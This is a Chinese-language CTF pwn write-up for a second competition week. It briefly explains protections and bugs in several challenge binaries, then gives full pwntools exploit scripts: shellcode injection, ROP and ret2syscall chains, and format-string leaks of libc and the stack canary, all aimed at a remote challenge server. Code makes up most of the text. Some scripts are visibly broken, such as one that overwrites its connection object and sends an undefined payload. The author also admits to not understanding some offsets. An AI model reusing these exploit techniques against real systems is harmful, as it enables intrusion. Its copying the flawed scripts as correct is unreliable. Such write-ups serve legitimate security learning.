简介:
第二周对比第一周难度提高了些,开始要熟悉做pwn的技巧手法了
easy_shellcode
查看一下保护机制,保护全关,加上又是shellcode的,栈可执行,所以可以把shellcode写入栈里
ida反汇编一下,发现可以通过buf这里泄露出栈地址(因为没有打开NX保护,栈是可执行的,要想办法把shellcode写入栈上在执行)
gdb调试下,你就会发现只需要输入0x10个字节,就可以泄露出栈地址(rbp地址),然后距离栈顶的距离为0x80,可以利用这个地址,将shellcode写入,就可以执行shell了
exp如下:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p =process('./111')
p =remote('112.6.51.212',30735)
payload =b'A'*0X10
p.recvuntil(b'What\'s your name?\n')
p.send(payload)
p.recvuntil(b'A'*0x10)
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x80
shellcode =asm(shellcraft.sh())
payload =shellcode.ljust(0x78,b'\x00')+ p64(stack)
p.recvuntil(b'please input your strong\n')
p.send(payload)
p.interactive()
baby_rop
查看一下保护机制,32位程序打开了canary 和NX,并且还是静态链接
用ROPgadget --ropchain来获取rop链再缩短点,exp如下:
from pwn import *
from struct import pack
context(os='linux', arch='i386', log_level='debug')
#io =process('./simplerop32')
io =remote('112.6.51.212',30779)
elf =ELF('./111')
# Padding goes here
p = b''
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e80) # @ .data
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080537da) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e84) # @ .data + 4
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += b'/sh\x00'
p += pack('<I', 0x080537da) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0804901e) # pop ebx ; ret
p += pack('<I', 0x080e4e80) # @ .data
p += pack('<I', 0x0804993f) # pop ecx ; ret
p += pack('<I', 0x080e4e88) # @ .data + 8
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e88) # @ .data + 8
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += p32(11)
p += pack('<I', 0x08049b62) # int 0x80
io =b'a'*0x20 + p
io.send(payload)
io.interactive()
还可以用ret2sycall的方法来解决,exp如下:
from pwn import *
from struct import pack
context(os='linux', arch='amd64', log_level='debug')
#p =process('./111')
p =remote('112.6.51.212',30984)
elf =ELF('./111')
read =0x805CAF0
edx_ecx_ebx =0x8049941
eax =0x80aa06a
int_80 =0x8049b62
bss =0x80e5000 #整百就行
payload =b'A'*(0x1c +4)
payload +=p32(read)
payload +=p32(edx_ecx_ebx) +p32(0) +p32(bss) +p32(0x8)
payload +=p32(edx_ecx_ebx) +p32(0) +p32(0) +p32(bss)
payload +=p32(eax) +p32(11)
payload +=p32(int_80)
p.send(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()
baby_rop2
查看一下保护机制,64位程序打开canary和NX,并且还是静态链接程序,和上一次挺像的
ida反汇编一下,简简单单的一个栈溢出漏洞,唯一烦的就是该怎么构造rop执行流
一样可以用ROPgadget来构造rop执行流,唯一不好的地方就是有长度限制,需要自己删减
from pwn import *
from struct import pack
context(os='linux', arch='amd64', log_level='debug')
#io =process('./111')
io =remote('112.6.51.212',30992)
elf =ELF('./111')
# Padding goes here
p = b''
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401d1d) # pop rdi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000401858) # pop rdx ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += p64(59)
p += pack('<Q', 0x0000000000401243) # syscall
payload =b'a'*0x28 + p
io.send(payload)
io.interactive()
string
查看一下保护机制,保护全关
ida反汇编一下,代码审计你会发现出现了格式字符串漏洞,并且在提示 "Input your message:" 的时候,你输入的数据会被 printf 打印出来,这个时候是不是可以把/bin/sh写进去,然后把 printf 修改成 system ,这样是不是就可以获得shell了,前提就得先泄露libc,得到system
首先,先得到程序的偏移为6,然后就是去gdb调试,找到合适的地址去泄露libc
我算到的偏移是0x29d90,不是0x24083,啊啊啊啊怎么算到的啊(有没有师傅浇浇啊T^T)
有些东西不好理解,也不知道怎么来的,其他大佬的wp,都是默认大家都知道,都不解释的,学的好累啊啊啊啊 T^T ,exp如下:
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#p = process('./pwn')
p = remote('112.6.51.212',31318)
elf = ELF('./111')
libc = ELF('./libc.so.6')
printf_got = elf.got['printf']
payload =b'%43$p'
p.sendlineafter(b"Input your choice:\n",b'1')
p.sendlineafter(b"Input your message:\n",payload)
libc_base =int(p.recv(14), 16) - 243 - libc.sym['__libc_start_main'] #0x24083
system = libc_base +libc.sym['system']
payload =fmtstr_payload(6, {printf_got: system})
p.sendlineafter(b"Input your choice:\n",b'1')
p.sendlineafter(b"Input your message:\n",payload)
p.sendlineafter(b"Input your choice:\n", b'/bin/sh\x00')
p.sendlineafter(b"Input your choice:\n", b'1')
p.interactive()
原始人,起动
查看一下保护机制,只打开了NX
ida反汇编,代码审计一下,有点难理清里面的逻辑-_-,有点小绕啊啊啊啊,受不了
要买些东西吗
查看一下保护机制,32位程序打开了canary和NX
ida反汇编,代码审计发现程序出现了格式字符串漏洞,再加上有canary,所以应该是通过格式字符串来泄露canary,下面看看偏移是多少
运行程序,发现偏移为7,接下来就是gdb调试,去看看canary是第几个参数(如下图,发现canary在第15个参数),并且可以通过第19个参数来泄露libc,来构造rop链
泄露libc的这个偏移还是没有算到,啊啊啊啊,有知道的师傅浇浇(球球了T^T)
exp如下:
from pwn import *
context(os="linux", arch="i386", log_level="debug")
#p = process('./111')
p = remote('112.6.51.212',31224)
elf = ELF('./111')
libc = ELF('./libc.so.6')
ret =0x804900e
bin_sh =0x804A03F
payload =b'%15$p.%19$p'
p.sendlineafter(b"Your choice:\n", b'1')
p.sendlineafter(b'and you can get a gift\n',payload)
canary = int(p.recv(10), 16)
p.recvuntil(b'0x')
libc_base =int(p.recv(8), 16) - 245 - libc.sym['__libc_start_main'] #0x1aee5
system =libc_base +libc.sym['system']
#bin_sh =libc_base + next(libc.search(b'/bin/sh\x00'))
payload =b'A'*0x20 +p32(canary) +p32(0) +p32(0) +p32(0) +p32(ret) +p32(system) +p32(0) +p32(bin_sh)
p.sendlineafter(b"Your choice:\n", b'2')
p.sendafter(b"and you can get the power\n",payload)
p.interactive()
总结:
这周题目确实上档次了,有些东西不是很好理解,其他佬的WP也没有详细的解释,都默认是常识,弄得我云里雾里,还得多做题目,自己总结,加油加油!!!